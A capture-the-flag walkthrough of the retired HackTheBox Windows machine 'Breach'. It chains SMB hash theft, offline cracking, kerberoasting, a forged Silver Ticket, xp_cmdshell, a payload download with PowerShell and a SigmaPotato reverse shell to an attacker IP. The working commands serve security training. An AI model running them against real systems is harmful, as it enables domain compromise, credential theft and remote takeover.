HackTheBox Writeup: Breach

21 Oct 2026 · HTB · 8 min
Machine
Breach
OS
Windows
Difficulty
Medium
Released
9 Oct 2025
Status
Retired
Rating
★4.8 / 5.0
Table of Contents

Overview

Breach starts with an SMB share that allows guest access and turns out to be writable. I abused that to capture the NTLMv2 hash of a domain user and cracked it, which gave me a first set of valid credentials. From there I found a kerberoastable service account, svc_mssql, and cracked its hash as well. With that password I forged a Silver Ticket as Administrator to log in to the Microsoft SQL Server, ran commands as svc_mssql through xp_cmdshell, and used SeImpersonatePrivilege to get to SYSTEM.

Enumeration

Nmap Scan

We start enumeration with an Nmap scan, which identifies the open ports and the services running on the target. This gives us an initial picture of the attack surface.

Breach ➜ nmap -sC -sV 10.129.86.196 
Nmap Scan

Nmap Scan

The scan reveals the following open ports:

Port Service Description
53 DNS Simple DNS Plus — resolves names for the domain
80 HTTP Microsoft IIS httpd 10.0, identifying itself as an IIS Windows Server
88 Kerberos Microsoft Windows Kerberos — used for domain authentication
135 MSRPC Microsoft Windows RPC endpoint mapper
139 NetBIOS-SSN Microsoft Windows netbios-ssn
389 LDAP Microsoft Windows Active Directory LDAP (Domain: breach.vl0.)
445 SMB Microsoft-ds — SMB file sharing
464 kpasswd5 Kerberos password change service
593 RPC over HTTP Microsoft Windows RPC over HTTP 1.0
636 LDAPS tcpwrapped
1433 MSSQL Microsoft SQL Server — database engine we later authenticate to via a forged ticket
3268 LDAP (GC) Microsoft Windows Active Directory Global Catalog LDAP
3269 LDAPS (GC) tcpwrapped
3389 RDP Microsoft Terminal Services
5985 WinRM Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Interacting with AD

Before interacting further with Active Directory, we first set up our attacking machine so it can communicate cleanly with the domain.

Sync Time

Kerberos is time-sensitive — authentication fails if the clock on our attacking machine drifts too far from the domain controller’s clock. We sync our time with the target first:

Breach ➜ sudo ntpdate 10.129.86.196 

Kerberos Configuration

On Linux, Kerberos behavior is controlled by the /etc/krb5.conf file. We generate a configuration tailored to this domain so our tools can authenticate against it correctly.

# Generate krb5.conf for the domain
Breach ➜ nxc smb BREACHDC.breach.vl -u guest  -p ''  --generate-krb5-file krb5.conf

# Point our environment at it
Breach ➜ export KRB5_CONFIG=krb5.conf                                              
# Install it system-wide
Breach ➜ sudo mv krb5.conf /etc/krb5.conf 
Kerberos Configuration

Kerberos Configuration

Share Enumeration

Using the built-in guest account, we enumerate the SMB shares exposed by the domain controller.

Breach ➜ nxc smb BREACHDC.breach.vl -u guest  -p ''  --shares
Guest Write Access on the Share

Guest Write Access on the Share

We find that the guest account has write access to the share share. Writable shares are a classic vector for NTLM hash theft, which we exploit next.

Exploitation

NTLM Theft

Our first attempt was to drop malicious .lnk and .scf files on the share, hoping a user would browse to the folder and trigger an authentication attempt that Responder could capture. This didn’t trigger anything.

We switched to the ntlm_theft tool instead, which generates 23 different file types designed to force an NTLM authentication attempt the moment they’re rendered or accessed (Office documents, .url files, .lnk files, etc.).

(.venv) ntlm_theft (master) ➜ python3 ntlm_theft.py -g all -s 10.10.14.115 -f N0xshell
Creating the NTLM Theft Files

Creating the NTLM Theft Files

Uploading the Files

We connect to the share as guest and upload the entire generated payload folder:

Breach ➜ smbclient //BREACHDC.breach.vl/share -U 'guest'
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> lcd N0xshell/
smb: \> mput *
  • recurse on -> uploads the contents of subfolders as well, not just the top level
  • prompt off -> disables the per-file confirmation prompt
  • lcd N0xshell -> sets our local working directory to the payload folder before uploading
  • mput * -> uploads every file in the current local directory
Uploading the Files

Uploading the Files

A few minutes later, we capture the NTLMv2 hash of julia.wong:

Captured NTLMv2 Hash

Captured NTLMv2 Hash

Cracking Julia’s Hash

We crack the captured hash offline with Hashcat:

Breach ➜ hashcat -a 0 -m 5600 julia.hash /opt/Tools/rockyou.txt --show
Cracked Password

Cracked Password

The password is Computer1. We confirm the credentials are valid with NetExec:

Breach ➜ nxc smb BREACHDC.breach.vl -u julia.wong -p Computer1 -k
Validating the Credentials with NetExec

Validating the Credentials with NetExec

With these credentials we’re able to retrieve the user flag from the transfer folder on the share.

BloodHound Enumeration

julia.wong doesn’t have interactive login rights, so rather than trying to log in directly we use the account to map out the Active Directory environment with BloodHound. We collect data using the BloodHound.py (BloodHound-CE) ingestor:

(.venv) BloodHound.py (bloodhound-ce) ➜ python3 bloodhound.py -u [email protected] -k -no-pass -d breach.vl -ns 10.129.86.196 -c all --zip                      
BloodHound Collection

BloodHound Collection

After importing the collected data into BloodHound-CE, we identify a kerberoastable user account: svc_mssql.

BloodHound Attack Path

BloodHound Attack Path

Kerberoasting

We request and extract a TGS ticket for svc_mssql using GetUserSPNs.py, which gives us a crackable hash for the account:

Breach ➜ GetUserSPNs.py breach.vl/julia.wong:'Computer1' -dc-ip 10.129.86.196 -request-user svc_mssql
Kerberoasting

Kerberoasting

Cracking the Hash

We utilized Hashcat to crach the users password.

Breach ➜ hashcat -a 0 -m 13100 svc_mssql.hash /opt/Tools/rockyou.txt --show
Cracked Service Account Password

Cracked Service Account Password

The password: Trustno1

Post-Enumeration

With valid svc_mssql credentials, we attempt to authenticate to the MSSQL server using mssqlclient.py:

Breach ➜ mssqlclient.py -windows-auth 'breach.vl/svc_mssql:[email protected]'
Post-Enumeration

Post-Enumeration

Enumeration through this session doesn’t behave as expected, likely due to underlying Kerberos issues. To work around this, we request a dedicated service ticket (TGS) for the svc_mssql account instead.

Requesting a TGS Ticket

Silver Ticket attack: we forge a Kerberos service ticket offline, using the service account’s NTLM hash, without ever contacting the domain controller. The forged ticket claims we’re Administrator and includes a fake PAC (the structure that carries group/privilege info), so MSSQL accepts us as fully privileged. It’s scoped only to this one service (MSSQL on this host).

We use ticketer.py to forge a Silver Ticket, impersonating the Administrator account for the MSSQL service:

Breach ➜ ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator   
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Requesting the TGS Ticket

Requesting the TGS Ticket

Using the Ticket with mssqlclient

With the forged ticket saved, we point our Kerberos cache at it and authenticate:

Breach ➜ export KRB5CCNAME=Administrator.ccache                                           
Breach ➜ mssqlclient.py -no-pass -k BREACHDC.breach.vl             
Connecting with mssqlclient

Connecting with mssqlclient

This time the session behaves correctly, and we’re authenticated as Administrator.

Post-Exploitation

Now authenticated as Administrator on the SQL server (via the Silver Ticket), we enable xp_cmdshell. A stored procedure that allows arbitrary operating-system command execution through SQL Server.

Gaining Remote Code Execution

Enable xp_cmdshell

Mssqlclient, already have predefined command to enable this stored precedure.

SQL (BREACH\Administrator  dbo@master)> enable_xp_cmdshell
Enabling xp_cmdshell

Enabling xp_cmdshell

Executing System Commands

With xp_cmdshell enabled, we can now run arbitrary OS commands:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami /priv
Executing System Commands

Executing System Commands

The output confirms we can execute system commands, and crucially shows that SeImpersonatePrivilege is enabled for our current context. This privilege is a well-known path to full SYSTEM access via a “Potato”-style exploit.

Escalate Privilege

We utilize the following exploit to abuse SeImpersonatePrivilege called: SigmaPotato

Transferring the Binary

We download the exploit onto the target using PowerShell’s Invoke-WebRequest:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell "powershell iwr http://10.10.14.115:8000/SigmaPotato.exe -OutFile c:\Users\Public\Documents\SigmaPotato.exe"
Transferring the Binary

Transferring the Binary

Catching a Reverse Shell

SigmaPotato was chosen specifically because it has a built-in reverse shell option, letting us go straight from privilege abuse to an administrative shell in one step:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell "c:\Users\Public\Documents\SigmaPotato.exe --revshell 10.10.14.115 4445"
Catching the Reverse Shell

Catching the Reverse Shell

This gives us a fully privileged, SYSTEM-level shell on the target, completing the box.

← Back to HackTheBox Writeups